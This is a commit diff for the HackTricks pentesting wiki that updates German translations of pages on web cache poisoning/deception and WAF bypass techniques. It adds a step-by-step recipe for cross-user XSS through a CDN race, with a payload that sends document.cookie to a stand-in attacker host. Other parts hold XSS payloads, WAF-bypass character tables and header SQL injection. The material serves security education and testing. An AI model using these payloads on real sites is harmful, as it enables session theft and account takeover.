maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-web/cache-deception/README.md', 'src/pentest

Browse Source
This commit is contained in:
Translator 2025-08-21 06:07:46 +00:00
parent 1aa1717d0d
commit 003be7893a
2 changed files with 109 additions and 53 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

84
src/pentesting-web/cache-deception/README.md
View File

@ -47,7 +47,7 @@ Mit dem identifizierten Parameter/Kopfzeile überprüfen, wie er **bereinigt** w
### Get the response cached
Sobald du die **Seite** identifiziert hast, die missbraucht werden kann, welchen **Parameter**/**Kopfzeile** du verwenden und **wie** du ihn **missbrauchen** kannst, musst du die Seite im Cache speichern. Je nach Ressource, die du im Cache speichern möchtest, kann dies einige Zeit in Anspruch nehmen, du musst möglicherweise mehrere Sekunden lang versuchen.
Sobald du die **Seite** identifiziert hast, die missbraucht werden kann, welchen **Parameter**/**Kopfzeile** du verwenden sollst und **wie** du ihn **missbrauchen** kannst, musst du die Seite im Cache speichern. Je nach Ressource, die du im Cache speichern möchtest, kann dies einige Zeit in Anspruch nehmen, du musst möglicherweise mehrere Sekunden versuchen.
Die Kopfzeile **`X-Cache`** in der Antwort könnte sehr nützlich sein, da sie den Wert **`miss`** haben kann, wenn die Anfrage nicht im Cache gespeichert wurde, und den Wert **`hit`**, wenn sie im Cache gespeichert ist.\
Die Kopfzeile **`Cache-Control`** ist ebenfalls interessant, um zu wissen, ob eine Ressource im Cache gespeichert wird und wann die Ressource das nächste Mal wieder im Cache gespeichert wird: `Cache-Control: public, max-age=1800`
@ -71,7 +71,7 @@ X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Beachten Sie, dass dies eine Anfrage an `/en?region=uk` und nicht an `/en` vergiften wird._
### Cache-Poisoning zum DoS
### Cache-Poisoning für DoS
{{#ref}}
cache-poisoning-to-dos.md
@ -142,29 +142,65 @@ Content-Length: 22
report=innocent-victim
```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
Es gibt ein Portswigger-Labor dazu: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### Parameter Cloacking
### Parameter Cloaking
Zum Beispiel ist es möglich, **Parameter** in Ruby-Servern mit dem Zeichen **`;`** anstelle von **`&`** zu trennen. Dies könnte verwendet werden, um unkeyed Parameterwerte in keyed Parameter einzufügen und sie auszunutzen.
Zum Beispiel ist es möglich, **Parameter** in Ruby-Servern mit dem Zeichen **`;`** anstelle von **`&`** zu trennen. Dies könnte verwendet werden, um unverschlüsselte Parameterwerte in verschlüsselte einzufügen und sie auszunutzen.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
Portswigger-Labor: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
### Ausnutzen von HTTP Cache Poisoning durch Missbrauch von HTTP Request Smuggling
Erfahren Sie hier, wie man [Cache Poisoning-Angriffe durch Missbrauch von HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) durchführt.
### Automated testing for Web Cache Poisoning
### Automatisierte Tests auf Web Cache Poisoning
Der [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kann verwendet werden, um automatisch auf Web-Cache-Poisoning zu testen. Er unterstützt viele verschiedene Techniken und ist hochgradig anpassbar.
Der [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kann verwendet werden, um automatisch auf Web Cache Poisoning zu testen. Er unterstützt viele verschiedene Techniken und ist hochgradig anpassbar.
Beispielverwendung: `wcvs -u example.com`
### Header-Reflexion XSS + CDN/WAF-unterstützte Cache-Seeding (User-Agent, automatisch zwischengespeicherte .js)
Dieses Muster aus der realen Welt verknüpft ein header-basiertes Reflexionsprimitive mit dem Verhalten von CDN/WAF, um zuverlässig das zwischengespeicherte HTML zu vergiften, das anderen Benutzern bereitgestellt wird:
- Das Haupt-HTML reflektierte einen nicht vertrauenswürdigen Anforderungsheader (z. B. `User-Agent`) in einen ausführbaren Kontext.
- Das CDN entfernte Cache-Header, aber ein internes/ursprüngliches Cache existierte. Das CDN speicherte auch automatisch Anfragen mit statischen Erweiterungen (z. B. `.js`), während das WAF eine schwächere Inhaltsinspektion für GET-Anfragen nach statischen Assets anwendete.
- Eigenheiten im Anfragefluss ermöglichten es einer Anfrage an einen `.js`-Pfad, den Cache-Schlüssel/Variant zu beeinflussen, der für das nachfolgende Haupt-HTML verwendet wurde, wodurch ein Cross-User-XSS über Header-Reflexion ermöglicht wurde.
Praktisches Rezept (beobachtet über ein beliebtes CDN/WAF):
1) Von einer sauberen IP (vorherige rufbasierte Herabstufungen vermeiden) einen bösartigen `User-Agent` über den Browser oder Burp Proxy Match & Replace festlegen.
2) In Burp Repeater eine Gruppe von zwei Anfragen vorbereiten und "Gruppe parallel senden" verwenden (Einzelpaketmodus funktioniert am besten):
- Erste Anfrage: GET einen `.js`-Ressourcenpfad auf demselben Ursprung, während Sie Ihren bösartigen `User-Agent` senden.
- Unmittelbar danach: GET die Hauptseite (`/`).
3) Das Routing-Rennen des CDN/WAF plus das automatisch zwischengespeicherte `.js` führt oft zu einer vergifteten zwischengespeicherten HTML-Variante, die dann anderen Besuchern bereitgestellt wird, die die gleichen Cache-Schlüsselbedingungen teilen (z. B. dieselben `Vary`-Dimensionen wie `User-Agent`).
Beispiel-Header-Payload (um nicht-HttpOnly-Cookies zu exfiltrieren):
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
Operational tips:
- Viele CDNs verbergen Cache-Header; Poisoning kann nur bei mehrstündigen Aktualisierungszyklen auftreten. Verwenden Sie mehrere vantage IPs und drosseln Sie, um Rate-Limit- oder Reputationsauslöser zu vermeiden.
- Die Verwendung einer IP aus der eigenen Cloud des CDNs verbessert manchmal die Routing-Konsistenz.
- Wenn eine strenge CSP vorhanden ist, funktioniert dies weiterhin, wenn die Reflexion im Haupt-HTML-Kontext ausgeführt wird und die CSP die Inline-Ausführung erlaubt oder durch den Kontext umgangen wird.
Impact:
- Wenn Sitzungscookies nicht `HttpOnly` sind, ist ein Zero-Click ATO möglich, indem `document.cookie` von allen Benutzern, die das vergiftete HTML erhalten, massenhaft exfiltriert wird.
Defenses:
- Stoppen Sie das Reflektieren von Anfrage-Headern in HTML; kodieren Sie den Kontext strikt, wenn es unvermeidlich ist. Richten Sie die Cache-Richtlinien von CDN und Ursprung aus und vermeiden Sie Abweichungen bei nicht vertrauenswürdigen Headern.
- Stellen Sie sicher, dass WAF die Inhaltsinspektion konsistent auf `.js`-Anfragen und statische Pfade anwendet.
- Setzen Sie `HttpOnly` (und `Secure`, `SameSite`) auf Sitzungscookies.
## Vulnerable Examples
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS leitete den Fragmentteil innerhalb der URL weiter, ohne ihn zu entfernen, und generierte den Cache-Schlüssel nur unter Verwendung des Hosts, Pfads und der Abfrage (das Fragment ignorierend). Daher wurde die Anfrage `/#/../?r=javascript:alert(1)` an das Backend als `/#/../?r=javascript:alert(1)` gesendet, und der Cache-Schlüssel enthielt nicht die Payload, nur Host, Pfad und Abfrage.
ATS leitete den Fragmentteil innerhalb der URL weiter, ohne ihn zu entfernen, und generierte den Cache-Schlüssel nur unter Verwendung des Hosts, Pfads und der Abfrage (den Fragmentteil ignorierend). Daher wurde die Anfrage `/#/../?r=javascript:alert(1)` an das Backend als `/#/../?r=javascript:alert(1)` gesendet, und der Cache-Schlüssel enthielt nicht die Payload, sondern nur Host, Pfad und Abfrage.
### GitHub CP-DoS
@ -172,23 +208,23 @@ Das Senden eines fehlerhaften Wertes im Content-Type-Header löste eine 405-Cach
### GitLab + GCP CP-DoS
GitLab verwendet GCP-Buckets zur Speicherung statischer Inhalte. **GCP Buckets** unterstützen den **Header `x-http-method-override`**. Daher war es möglich, den Header `x-http-method-override: HEAD` zu senden und den Cache so zu vergiften, dass er einen leeren Antwortkörper zurückgibt. Es könnte auch die Methode `PURGE` unterstützen.
GitLab verwendet GCP-Buckets zur Speicherung statischer Inhalte. **GCP Buckets** unterstützen den **Header `x-http-method-override`**. Daher war es möglich, den Header `x-http-method-override: HEAD` zu senden und den Cache zu vergiften, sodass eine leere Antwort zurückgegeben wurde. Es könnte auch die Methode `PURGE` unterstützen.
### Rack Middleware (Ruby on Rails)
In Ruby on Rails-Anwendungen wird häufig Rack-Middleware verwendet. Der Zweck des Rack-Codes besteht darin, den Wert des **`x-forwarded-scheme`**-Headers zu übernehmen und ihn als Schema der Anfrage festzulegen. Wenn der Header `x-forwarded-scheme: http` gesendet wird, erfolgt eine 301-Weiterleitung an denselben Ort, was möglicherweise zu einer Denial of Service (DoS) für diese Ressource führt. Darüber hinaus könnte die Anwendung den `X-forwarded-host`-Header anerkennen und Benutzer an den angegebenen Host umleiten. Dieses Verhalten kann dazu führen, dass JavaScript-Dateien von einem Server des Angreifers geladen werden, was ein Sicherheitsrisiko darstellt.
In Ruby on Rails-Anwendungen wird häufig Rack-Middleware verwendet. Der Zweck des Rack-Codes besteht darin, den Wert des **`x-forwarded-scheme`**-Headers zu übernehmen und ihn als Schema der Anfrage festzulegen. Wenn der Header `x-forwarded-scheme: http` gesendet wird, erfolgt eine 301-Weiterleitung an denselben Ort, was möglicherweise zu einer Denial of Service (DoS) für diese Ressource führt. Darüber hinaus könnte die Anwendung den `X-forwarded-host`-Header anerkennen und Benutzer an den angegebenen Host weiterleiten. Dieses Verhalten kann dazu führen, dass JavaScript-Dateien von einem Server des Angreifers geladen werden, was ein Sicherheitsrisiko darstellt.
### 403 and Storage Buckets
### 403 und Storage Buckets
Cloudflare hat zuvor 403-Antworten zwischengespeichert. Der Versuch, auf S3 oder Azure Storage Blobs mit falschen Autorisierungsheadern zuzugreifen, führte zu einer 403-Antwort, die zwischengespeichert wurde. Obwohl Cloudflare das Zwischenspeichern von 403-Antworten eingestellt hat, könnte dieses Verhalten weiterhin in anderen Proxy-Diensten vorhanden sein.
Cloudflare hat zuvor 403-Antworten zwischengespeichert. Der Versuch, auf S3 oder Azure Storage Blobs mit falschen Autorisierungs-Headern zuzugreifen, führte zu einer 403-Antwort, die zwischengespeichert wurde. Obwohl Cloudflare das Zwischenspeichern von 403-Antworten eingestellt hat, könnte dieses Verhalten weiterhin in anderen Proxy-Diensten vorhanden sein.
### Injecting Keyed Parameters
Caches enthalten häufig spezifische GET-Parameter im Cache-Schlüssel. Zum Beispiel speicherte Fastlys Varnish den `size`-Parameter in Anfragen. Wenn jedoch eine URL-kodierte Version des Parameters (z. B. `siz%65`) ebenfalls mit einem fehlerhaften Wert gesendet wurde, wurde der Cache-Schlüssel unter Verwendung des korrekten `size`-Parameters erstellt. Das Backend würde jedoch den Wert im URL-kodierten Parameter verarbeiten. Die URL-Kodierung des zweiten `size`-Parameters führte dazu, dass er vom Cache weggelassen, aber vom Backend verwendet wurde. Das Zuweisen eines Wertes von 0 zu diesem Parameter führte zu einem zwischenspeicherbaren 400 Bad Request-Fehler.
Caches enthalten häufig spezifische GET-Parameter im Cache-Schlüssel. Beispielsweise speicherte Fastlys Varnish den `size`-Parameter in Anfragen. Wenn jedoch eine URL-kodierte Version des Parameters (z. B. `siz%65`) ebenfalls mit einem fehlerhaften Wert gesendet wurde, wurde der Cache-Schlüssel unter Verwendung des korrekten `size`-Parameters konstruiert. Das Backend würde jedoch den Wert im URL-kodierten Parameter verarbeiten. Das URL-Codieren des zweiten `size`-Parameters führte zu dessen Auslassung durch den Cache, aber zu seiner Nutzung durch das Backend. Das Zuweisen eines Wertes von 0 zu diesem Parameter führte zu einem zwischenspeicherbaren 400 Bad Request-Fehler.
### User Agent Rules
Einige Entwickler blockieren Anfragen mit User-Agents, die mit denen von stark frequentierten Tools wie FFUF oder Nuclei übereinstimmen, um die Serverlast zu verwalten. Ironischerweise kann dieser Ansatz Schwachstellen wie Cache-Poisoning und DoS einführen.
Einige Entwickler blockieren Anfragen mit User-Agents, die mit denen von stark frequentierten Tools wie FFUF oder Nuclei übereinstimmen, um die Serverlast zu steuern. Ironischerweise kann dieser Ansatz Schwachstellen wie Cache-Poisoning und DoS einführen.
### Illegal Header Fields
@ -200,9 +236,9 @@ Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spezifiziert die ak
## Cache Deception
Das Ziel von Cache Deception ist es, dass Clients **Ressourcen laden, die mit ihren sensiblen Informationen vom Cache gespeichert werden**.
Das Ziel von Cache Deception ist es, Clients **Ressourcen laden zu lassen, die mit ihren sensiblen Informationen vom Cache gespeichert werden**.
Zunächst einmal beachten Sie, dass **Erweiterungen** wie `.css`, `.js`, `.png` usw. normalerweise **konfiguriert** sind, um im **Cache** **gespeichert** zu werden. Daher, wenn Sie `www.example.com/profile.php/nonexistent.js` aufrufen, wird der Cache wahrscheinlich die Antwort speichern, da er die `.js` **Erweiterung** sieht. Wenn jedoch die **Anwendung** mit den **sensiblen** Benutzerinhalten, die in _www.example.com/profile.php_ gespeichert sind, **wiedergibt**, können Sie diese Inhalte von anderen Benutzern **stehlen**.
Zunächst ist zu beachten, dass **Erweiterungen** wie `.css`, `.js`, `.png` usw. normalerweise **konfiguriert** sind, um im **Cache** **gespeichert** zu werden. Daher wird der Cache wahrscheinlich die Antwort speichern, wenn Sie `www.example.com/profile.php/nonexistent.js` aufrufen, da er die `.js` **Erweiterung** sieht. Wenn die **Anwendung** jedoch mit den **sensiblen** Benutzerinhalten, die in _www.example.com/profile.php_ gespeichert sind, **wiedergibt**, können Sie diese Inhalte von anderen Benutzern **stehlen**.
Weitere Dinge, die getestet werden sollten:
@ -213,17 +249,17 @@ Weitere Dinge, die getestet werden sollten:
- _www.example.com/profile.php/%2e%2e/test.js_
- _Verwenden Sie weniger bekannte Erweiterungen wie_ `.avif`
Ein weiteres sehr klares Beispiel finden Sie in diesem Bericht: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Ein weiteres sehr klares Beispiel findet sich in diesem Bericht: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
In dem Beispiel wird erklärt, dass, wenn Sie eine nicht vorhandene Seite wie _http://www.example.com/home.php/non-existent.css_ laden, der Inhalt von _http://www.example.com/home.php_ (**mit den sensiblen Informationen des Benutzers**) zurückgegeben wird und der Cache-Server das Ergebnis speichern wird.\
Dann kann der **Angreifer** _http://www.example.com/home.php/non-existent.css_ in seinem eigenen Browser aufrufen und die **vertraulichen Informationen** der Benutzer beobachten, die zuvor darauf zugegriffen haben.
Dann kann der **Angreifer** _http://www.example.com/home.php/non-existent.css_ in seinem eigenen Browser aufrufen und die **vertraulichen Informationen** der Benutzer beobachten, die zuvor zugegriffen haben.
Beachten Sie, dass der **Cache-Proxy** so **konfiguriert** sein sollte, dass er Dateien **basierend** auf der **Erweiterung** der Datei (_ .css_) und nicht basierend auf dem Content-Type zwischenspeichert. Im Beispiel _http://www.example.com/home.php/non-existent.css_ wird ein `text/html`-Content-Type anstelle eines `text/css`-MIME-Typs (der für eine _.css_-Datei erwartet wird) haben.
Beachten Sie, dass der **Cache-Proxy** so **konfiguriert** sein sollte, dass er Dateien **basierend** auf der **Erweiterung** der Datei (_.css_) und nicht basierend auf dem Content-Type speichert. Im Beispiel _http://www.example.com/home.php/non-existent.css_ wird ein `text/html`-Content-Type anstelle eines `text/css`-MIME-Typs (der für eine _.css_-Datei erwartet wird) haben.
Erfahren Sie hier, wie man [Cache Deceptions-Angriffe durch Missbrauch von HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception) durchführt.
Erfahren Sie hier, wie Sie [Cache Deceptions-Angriffe unter Ausnutzung von HTTP Request Smuggling durchführen](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## Automatic Tools
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang-Scanner, um Web-Cache-Poisoning-Schwachstellen in einer Liste von URLs zu finden und mehrere Injektionstechniken zu testen.
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang-Scanner zur Auffindung von Web-Cache-Poisoning-Schwachstellen in einer Liste von URLs und zum Testen mehrerer Injektionstechniken.
## References
@ -233,6 +269,8 @@ Erfahren Sie hier, wie man [Cache Deceptions-Angriffe durch Missbrauch von HTTP
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
{{#include ../../banners/hacktricks-training.md}}

78
src/pentesting-web/proxy-waf-protections-bypass.md
View File

@ -7,7 +7,7 @@
Techniken [aus dieser Forschung](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
Beispiel für eine Nginx-Regel:
Nginx Regelbeispiel:
```plaintext
location = /admin {
deny all;
@ -21,7 +21,7 @@ Um Umgehungen zu verhindern, führt Nginx eine Pfadnormalisierung durch, bevor e
### **NodeJS - Express**
| Nginx Version | **Node.js Bypass-Zeichen** |
| Nginx Version | **Node.js Bypass-Zeichen** |
| ------------- | ----------------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
@ -31,10 +31,10 @@ Um Umgehungen zu verhindern, führt Nginx eine Pfadnormalisierung durch, bevor e
### **Flask**
| Nginx Version | **Flask Bypass-Zeichen** |
| ------------- | ------------------------------------------------------------ |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| Nginx Version | **Flask Bypass-Zeichen** |
| ------------- | ---------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
@ -42,12 +42,12 @@ Um Umgehungen zu verhindern, führt Nginx eine Pfadnormalisierung durch, bevor e
### **Spring Boot**
| Nginx Version | **Spring Boot Bypass-Zeichen** |
| ------------- | --------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
| ------------- | ------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
### **PHP-FPM**
@ -70,22 +70,22 @@ location ~* ^/admin {
deny all;
}
```
## Umgehung von Mod Security Regeln <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Pfadverwirrung
### Path Confusion
[**In diesem Beitrag**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) wird erklärt, dass ModSecurity v3 (bis 3.0.12) **die `REQUEST_FILENAME`** Variable unsachgemäß implementiert hat, die den aufgerufenen Pfad (bis zum Beginn der Parameter) enthalten sollte. Dies liegt daran, dass eine URL-Dekodierung durchgeführt wurde, um den Pfad zu erhalten.\
Daher wird eine Anfrage wie `http://example.com/foo%3f';alert(1);foo=` in Mod Security annehmen, dass der Pfad nur `/foo` ist, da `%3f` in `?` umgewandelt wird, was den URL-Pfad beendet, aber tatsächlich wird der Pfad, den ein Server erhält, `/foo%3f';alert(1);foo=` sein.
[**In diesem Beitrag**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) wird erklärt, dass ModSecurity v3 (bis 3.0.12) **die `REQUEST_FILENAME`**-Variable, die den aufgerufenen Pfad (bis zum Beginn der Parameter) enthalten sollte, **fehlerhaft implementiert hat**. Dies liegt daran, dass eine URL-Dekodierung durchgeführt wurde, um den Pfad zu erhalten.\
Daher wird eine Anfrage wie `http://example.com/foo%3f';alert(1);foo=` in Mod Security annehmen, dass der Pfad nur `/foo` ist, da `%3f` in `?` umgewandelt wird, was den URL-Pfad beendet, aber tatsächlich wird der Pfad, den der Server erhält, `/foo%3f';alert(1);foo=` sein.
Die Variablen `REQUEST_BASENAME` und `PATH_INFO` waren ebenfalls von diesem Fehler betroffen.
Etwas Ähnliches trat in Version 2 von Mod Security auf, das es ermöglichte, einen Schutz zu umgehen, der den Zugriff von Benutzern auf Dateien mit bestimmten Erweiterungen, die mit Sicherungsdateien (wie `.bak`) verbunden sind, verhinderte, indem einfach der Punkt URL-kodiert in `%2e` gesendet wurde, zum Beispiel: `https://example.com/backup%2ebak`.
Etwas Ähnliches geschah in Version 2 von Mod Security, das es ermöglichte, einen Schutz zu umgehen, der verhinderte, dass Benutzer auf Dateien mit bestimmten Erweiterungen, die mit Sicherungsdateien (wie `.bak`) verbunden sind, zugreifen konnten, indem einfach der Punkt URL-kodiert in `%2e` gesendet wurde, zum Beispiel: `https://example.com/backup%2ebak`.
## Umgehung von AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Fehlformatierter Header
### Malformed Header
[Diese Forschung](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) erwähnt, dass es möglich war, AWS WAF-Regeln, die auf HTTP-Header angewendet wurden, zu umgehen, indem ein "fehlformatierter" Header gesendet wurde, der von AWS nicht richtig analysiert, aber vom Backend-Server verarbeitet wurde.
[Diese Forschung](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) erwähnt, dass es möglich war, AWS WAF-Regeln, die auf HTTP-Header angewendet wurden, zu umgehen, indem ein "fehlerhafter" Header gesendet wurde, der von AWS nicht richtig analysiert, aber vom Backend-Server verarbeitet wurde.
Zum Beispiel, indem die folgende Anfrage mit einer SQL-Injection im Header X-Query gesendet wird:
```http
@ -102,15 +102,15 @@ Es war möglich, AWS WAF zu umgehen, da es nicht verstand, dass die nächste Zei
### Anforderungsgrößenbeschränkungen
Üblicherweise haben WAFs eine bestimmte Längenbeschränkung für Anfragen, die überprüft werden, und wenn eine POST/PUT/PATCH-Anfrage darüber hinausgeht, wird die Anfrage nicht überprüft.
Üblicherweise haben WAFs eine bestimmte Längenbeschränkung für Anfragen, die überprüft werden, und wenn eine POST/PUT/PATCH-Anfrage diese überschreitet, wird die WAF die Anfrage nicht überprüfen.
- Für AWS WAF können Sie [**die Dokumentation überprüfen**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maximale Größe eines Webanfragekörpers, der für Application Load Balancer und AWS AppSync-Schutzmaßnahmen überprüft werden kann</td><td>8 KB</td></tr><tr><td>Maximale Größe eines Webanfragekörpers, der für CloudFront, API Gateway, Amazon Cognito, App Runner und Verified Access-Schutzmaßnahmen überprüft werden kann**</td><td>64 KB</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maximale Größe eines Webanfragekörpers, der für Application Load Balancer und AWS AppSync-Schutz überprüft werden kann</td><td>8 KB</td></tr><tr><td>Maximale Größe eines Webanfragekörpers, der für CloudFront, API Gateway, Amazon Cognito, App Runner und Verified Access-Schutz überprüft werden kann**</td><td>64 KB</td></tr></tbody></table>
- Aus [**Azure-Dokumenten**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
Ältere Webanwendungsfirewalls mit Core Rule Set 3.1 (oder niedriger) erlauben Nachrichten größer als **128 KB**, indem die Inspektion des Anfragekörpers deaktiviert wird, aber diese Nachrichten werden nicht auf Schwachstellen überprüft. Bei neueren Versionen (Core Rule Set 3.2 oder neuer) kann dasselbe durch Deaktivieren der maximalen Anfragekörpergrenze erreicht werden. Wenn eine Anfrage die Größenbeschränkung überschreitet:
Ältere Webanwendungsfirewalls mit Core Rule Set 3.1 (oder niedriger) erlauben Nachrichten größer als **128 KB**, indem die Inspektion des Anfragekörpers deaktiviert wird, aber diese Nachrichten werden nicht auf Schwachstellen überprüft. Bei neueren Versionen (Core Rule Set 3.2 oder neuer) kann dasselbe erreicht werden, indem die maximale Anfragekörpergrenze deaktiviert wird. Wenn eine Anfrage die Größenbeschränkung überschreitet:
Wenn **Präventionsmodus**: Protokolliert und blockiert die Anfrage.\
Wenn **Erkennungsmodus**: Überprüft bis zur Grenze, ignoriert den Rest und protokolliert, wenn die `Content-Length` die Grenze überschreitet.
@ -123,7 +123,24 @@ Standardmäßig überprüft die WAF nur die ersten 8 KB einer Anfrage. Sie kann
Bis zu 128 KB.
### Obfuskation <a href="#obfuscation" id="obfuscation"></a>
### Inspektionslücken bei statischen Assets (.js GETs)
Einige CDN/WAF-Stacks wenden schwache oder keine Inhaltsinspektion auf GET-Anfragen für statische Assets (zum Beispiel Pfade, die mit `.js` enden) an, während sie weiterhin globale Regeln wie Ratenbegrenzung und IP-Reputation anwenden. In Kombination mit dem automatischen Caching statischer Erweiterungen kann dies ausgenutzt werden, um bösartige Varianten zu liefern oder zu streuen, die nachfolgende HTML-Antworten beeinflussen.
Praktische Anwendungsfälle:
- Senden Sie Payloads in nicht vertrauenswürdigen Headers (z. B. `User-Agent`) bei einem GET zu einem `.js`-Pfad, um die Inhaltsinspektion zu vermeiden, und fordern Sie dann sofort das Haupt-HTML an, um die zwischengespeicherte Variante zu beeinflussen.
- Verwenden Sie eine frische/reine IP; sobald eine IP markiert ist, können Routingänderungen die Technik unzuverlässig machen.
- Verwenden Sie in Burp Repeater "Gruppe parallel senden" (Single-Packet-Stil), um die beiden Anfragen (`.js` dann HTML) durch denselben Front-End-Pfad zu beschleunigen.
Dies passt gut zu Header-Reflexions-Cache-Poisoning. Siehe:
- {{#ref}}
cache-deception/README.md
{{#endref}}
- [Wie ich eine 0-Click-Kontoübernahme in einem öffentlichen BBP fand und sie nutzte, um auf Admin-Level-Funktionen zuzugreifen](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
### Obfuskation <a href="#ip-rotation" id="ip-rotation"></a>
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
@ -133,7 +150,7 @@ Bis zu 128 KB.
```
### Unicode-Kompatibilität <a href="#unicode-compatability" id="unicode-compatability"></a>
Je nach Implementierung der Unicode-Normalisierung (mehr Informationen [hier](https://jlajara.gitlab.io/Bypass_WAF_Unicode)) können Zeichen, die Unicode-Kompatibilität teilen, in der Lage sein, die WAF zu umgehen und als die beabsichtigte Nutzlast auszuführen. Kompatible Zeichen finden Sie [hier](https://www.compart.com/en/unicode).
Je nach Implementierung der Unicode-Normalisierung (mehr Informationen [hier](https://jlajara.gitlab.io/Bypass_WAF_Unicode)) können Zeichen, die Unicode-Kompatibilität aufweisen, in der Lage sein, die WAF zu umgehen und als die beabsichtigte Nutzlast auszuführen. Kompatible Zeichen finden Sie [hier](https://www.compart.com/en/unicode).
#### Beispiel <a href="#example" id="example"></a>
```bash
@ -143,9 +160,9 @@ Je nach Implementierung der Unicode-Normalisierung (mehr Informationen [hier](ht
```
### Umgehung kontextueller WAFs mit Kodierungen <a href="#ip-rotation" id="ip-rotation"></a>
Wie in [**diesem Blogbeitrag**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) erwähnt, um WAFs zu umgehen, die in der Lage sind, einen Kontext der Benutzereingabe aufrechtzuerhalten, könnten wir die WAF-Techniken missbrauchen, um die Benutzereingabe tatsächlich zu normalisieren.
